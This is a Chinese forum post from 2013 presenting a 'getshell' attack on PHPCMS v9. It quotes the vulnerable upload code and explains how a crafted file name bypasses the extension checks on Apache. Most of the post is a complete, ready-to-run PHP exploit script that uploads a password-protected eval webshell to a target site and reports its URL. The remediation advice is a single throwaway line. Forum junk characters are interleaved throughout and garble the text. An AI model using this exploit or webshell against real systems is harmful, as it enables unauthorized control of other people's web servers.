找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
# s' E( C$ [& Z, m; l: u- Z; a
4 q5 g7 i( y$ r# K0 m简要描述:
0 S  J" ^. b% e% G& C& N1 h3 \! E1 y+ k' X4 A7 z: w5 y: X" R
phpcms v9 getshell (apache)/ k4 k9 O' b0 E
详细说明:
. ?( A# ]" t' W' J
+ O5 o- s* r5 f; q/ y% r, F漏洞文件:phpcms\modules\attachment\attachments.php& n* d: w  [4 I% N/ M: e

  e' M  ?& M" C9 y) x" d3 F. Bpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
  H, g4 ^* o; g2 I  t后缀检测:phpcms\modules\attachment\functions\global.func.php9 N. S( e0 s2 K3 C

+ {, I  K' Q2 o3 q
' r. S1 p( f7 ^5 i; I
3 a) K  q/ A' I/ i/ V8 Z) T5 Mfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  0 k* k. ?0 R$ z

- Y# y7 Y2 c7 \. d" o0 X关键函数:
2 @7 u- b3 U# x6 [
* ?4 `8 d% T( S) e  j
* ]3 q( |' W, ^9 w' @, Q2 o% D
3 z2 C* @* S7 O8 [; D+ |function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
1 z5 j. C; @" I6 |1 Y$ |1 t" F8 K3 m+ [
  Fileext函数是对文件后缀名的提取。
. P. j! [# `% E( h$ l根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php& [" {8 Z" w. G8 r0 D! a. s2 w
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。+ {5 t0 ^5 u" G" o/ W# t
我们回到public function crop_upload() 函数中1 p5 i. P0 b' ]; c3 m" q& D  z9 B
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();9 C: J  ?" D% D* @  S3 m; Z0 a) ~
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
4 h7 e/ v" V( S) y$ n- P这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ X8 Q" N+ W8 U# }* L2 ^+ D经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。( f( b: F# k5 `
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
4 \& V1 l' B7 h* D. n# d( z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。2 H; Q$ V. @) g8 W+ a: X) D: f) o5 o
漏洞证明:% E7 b$ E% T. h& _
8 E7 a4 K& k2 e9 B% u- K
exp:8 L2 h: ~. C3 f$ w

) Y& [  `2 F" R, F# {7 L9 i<?php/ K+ ?( [3 v' V& d! Z
error_reporting(E_ERROR);
9 c/ V" K: ?$ a& sset_time_limit(0);$ M  F- u, d5 Z3 W5 b1 E
$pass="ln";6 d1 Y5 Z4 A! H# S/ Y
print_r(', q1 o$ C0 i5 K( G
+---------------------------------------------------------------------------+% s; |% o2 C8 W5 o; @: \) r6 b1 f
PHPCms V9 GETSHELL 0DAY : M" N0 F! Y: o& ~- i3 c. c
code by L.N.
9 _/ b4 V( l# ?( T& f5 n0 R; E. K% a! R
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net+ x" J; S1 u) A0 Y% R) U
+---------------------------------------------------------------------------+$ \/ U! D( X, ]
');% v0 n9 x+ H- f- T2 E. y  ^
if ($argc < 2) {% X5 Z% Q+ j% G% \
print_r('
/ P7 ~& }$ ?& L- g0 M( X+---------------------------------------------------------------------------+
9 _- O* I1 l6 jUsage: php '.$argv[0].' url path) j; t: w/ h  A9 M) u9 _
$ ]0 U8 H# P; R" h; E  k
Example:# w* `) b+ n, q! i4 U
1.php '.$argv[0].' lanu.sinaapp.com
$ i2 L  {. X! K2 ]( \2.php '.$argv[0].' lanu.sinaapp.com /phpcms
  e# J8 l8 U7 X1 P2 _6 k+---------------------------------------------------------------------------+
- Q3 j8 k" P  d5 m( T');8 M* z  g" w$ i$ N# |2 c
exit;! u3 e! M/ g0 y
}
4 e8 W8 I" V7 j- H/ a
8 g7 C5 a0 s- r$url = $argv[1];+ ]0 Y8 ~- b+ M' P7 @& e
$path = $argv[2];
9 F& l/ T" J* A: V! U3 C0 A8 }$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
+ X) x% L. y4 P' N' b* u$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
. X" w. U1 _) Cif($ret=Create_dir($url,$path))3 R5 K0 c: g5 H9 @' Y
{! ?& O, g; J8 d; |) G) O
//echo $ret;' {( S- k! E  y9 y/ @, R
$pattern = "|Server:[^,]+?|U";' j8 M( t0 c- F2 m0 ~* K- E
preg_match_all($pattern, $ret, $matches);, \, u4 E! N- q+ @6 [/ r5 d4 k
if($matches[0][0])! ^/ b* a2 E) o) e  F; c
{/ N7 U' H7 O- J
if(strpos($matches[0][0],'Apache') == false)
# C. q2 V3 B3 O1 j' v{
4 T! z# s6 A4 L4 x4 C' Q9 Kecho "\n亲!此网站不是apache的网站。\n";exit;. U; Q: ~, Y0 k/ C8 k* g+ M
}0 A+ K/ G- o1 w8 Q7 t) Y6 F" U* U9 ^% I
}
2 k$ E& W4 [- o3 q8 M$ret = GetShell($url,$phpshell,$path,$file);- i# N% u- C$ k+ x1 _$ q
$pattern = "|http:\/\/[^,]+?\.,?|U";0 |* x! r1 z- [. M9 T
preg_match_all($pattern, $ret, $matches);; J) y" O2 a9 C# e
if($matches[0][0])
  T7 A2 R9 [, I  r  X+ E/ l) e{
5 U) `& _1 s! ^* C- g! A) Y' Lecho "\n".'密码为: '.$pass."\n";3 Y9 H; ]  V) ^/ V. U+ E
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
" U7 p, {/ x3 `8 c3 j0 c2 o}
$ Q2 C- G3 A- B( @5 Y! g4 celse
1 X! L7 @1 t, j{& r* Y" L' g* e( S
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";9 O; f6 L- `8 c6 L( C  `  ?/ T3 o4 m( J
preg_match_all($pattern, $ret, $matches);% ?/ Y# D2 d* `3 A: V
if($matches[0][0])$ P4 X6 E1 k. i
{) [/ V0 w1 e) o7 S# v
echo "\n".'密码为: '.$pass."\n";  F/ B, F! t2 Y2 O( P+ O
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;+ @# P+ w, ?. C: G5 n
}
0 ~+ l- m3 y# G0 d$ N1 _! O7 }else
2 x) ]/ u, K: R7 |6 k. [5 O& U{- i* n) t) c4 U3 n
echo "\r\n没得到!\n";exit;4 \- w; H6 f8 v6 ]) i
}+ a5 l0 h  `; |! ?
}3 _. r, Q% ?* D! a1 h2 B
}* W$ g, p1 C3 y9 L

/ D# p8 u# n# G* z. g0 s' b: ffunction GetShell($url,$shell,$path,$js)% c+ n* |% f  d4 _) K
{0 _! m  K% ?1 @$ e* a
$content =$shell;
" B6 [$ W& X5 }- j* g2 @+ u$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
0 ]" o9 Q: U5 v: E2 l" h- p$data .= "Host: ".$url."\r\n";; @2 T! U' }0 j7 w0 N  D* p( Q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";. D  `# `" {, x7 G3 |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) w! J" N' K( k5 S5 ]$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% F9 ]5 f9 H5 i/ H, j1 P# }/ c) ~$data .= "Connection: close\r\n";! }8 S3 V3 O! a8 l9 M
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 ~5 M) a2 @- K& N$data .= $content."\r\n";
) l# p4 A5 r+ N- \* W- [0 {$ock=fsockopen($url,80);; Q9 O6 F9 E* G" N9 s% p
if (!$ock)
3 i" i+ |5 i0 F! x. ^& w{
0 d! V$ f8 ~- s7 uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
( _$ w. G. e. @4 I2 a( F, [9 y. G. r}* \) c0 ]7 j5 r6 _! @3 Y
else
: [$ s5 F; g( v{8 V8 O  `" r+ v2 E
fwrite($ock,$data);" a* L2 _4 j! U
$resp = '';
* t3 C  G: D; \' P4 ?) N' Zwhile (!feof($ock))2 y( u1 o% E2 ~; m4 {
{
" J3 T8 `! R% E, [8 R$resp.=fread($ock, 1024);
3 B5 g9 V6 p% o7 C2 g}
: N1 z+ I. o# r" n% F4 O/ Vreturn $resp;
. I! P6 h" U6 m3 Q9 y}
) ^% \0 a* T& y8 k; k! m, R}
# {0 [3 n. t. e5 K- T, z. S4 r4 q0 ?' z6 ?  s8 c1 l
function Create_dir($url,$path='')
( n8 U  C' w  U; m7 [1 ?{. V+ C0 d- O1 c! U# s
$content ='I love you';7 R5 ]% A- N( l* a; q* E5 W% e
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
3 G% z( Z# T  q5 K1 ~: R2 E$data .= "Host: ".$url."\r\n";9 E3 W5 o$ X3 i) t. n' w) x2 N
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- q$ j7 U4 E0 x$ h  x
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" k$ l- |6 w( @2 G* ?# X1 v
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 Q9 D" x4 s( S7 M1 p9 k
$data .= "Connection: close\r\n";
5 t* D1 g  J8 P- C, q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" P8 f/ k& ~# f7 v
$data .= $content."\r\n";* ~6 d( L* y( u, _1 G
$ock=fsockopen($url,80);+ |3 `# Z1 [. S2 q* x
if (!$ock): n: \  y8 t- }$ T0 h+ U( X1 u7 }1 @2 J
{9 f6 f* V' H, y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;) L/ ?. V9 l2 D% o& n  Y
}( }% ^: `* s5 j: g" m) G4 E+ K
fwrite($ock,$data);7 s6 m7 b2 C1 F5 O  f# P6 V" e) X
$resp = '';2 q4 Z' h8 i" f7 v6 z
while (!feof($ock))
/ \) E5 n  F( S5 y: M: X0 f$ @{
8 v8 G7 a  y7 K8 l, q$resp.=fread($ock, 1024);5 _6 r+ N5 ]* W; M( d2 g& U
}+ F9 |% ~5 [+ ?' J/ J
return $resp;
5 y4 f7 d4 P. [: z$ _& l- F6 J}
; w0 u4 z3 t/ D5 N) d7 m?>
3 V- C8 W$ p* }# J 3 T- W& m  B; T+ [" O6 Y5 T
修复方案:
# f7 B5 a3 V: ?, _- p% s
) b$ `1 m5 v$ Y5 V5 Q' ?' p. f过滤过滤再过滤+ J0 ?- P9 {' H2 v  C! T0 c

7 n+ q" t! w9 ~7 Q/ `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表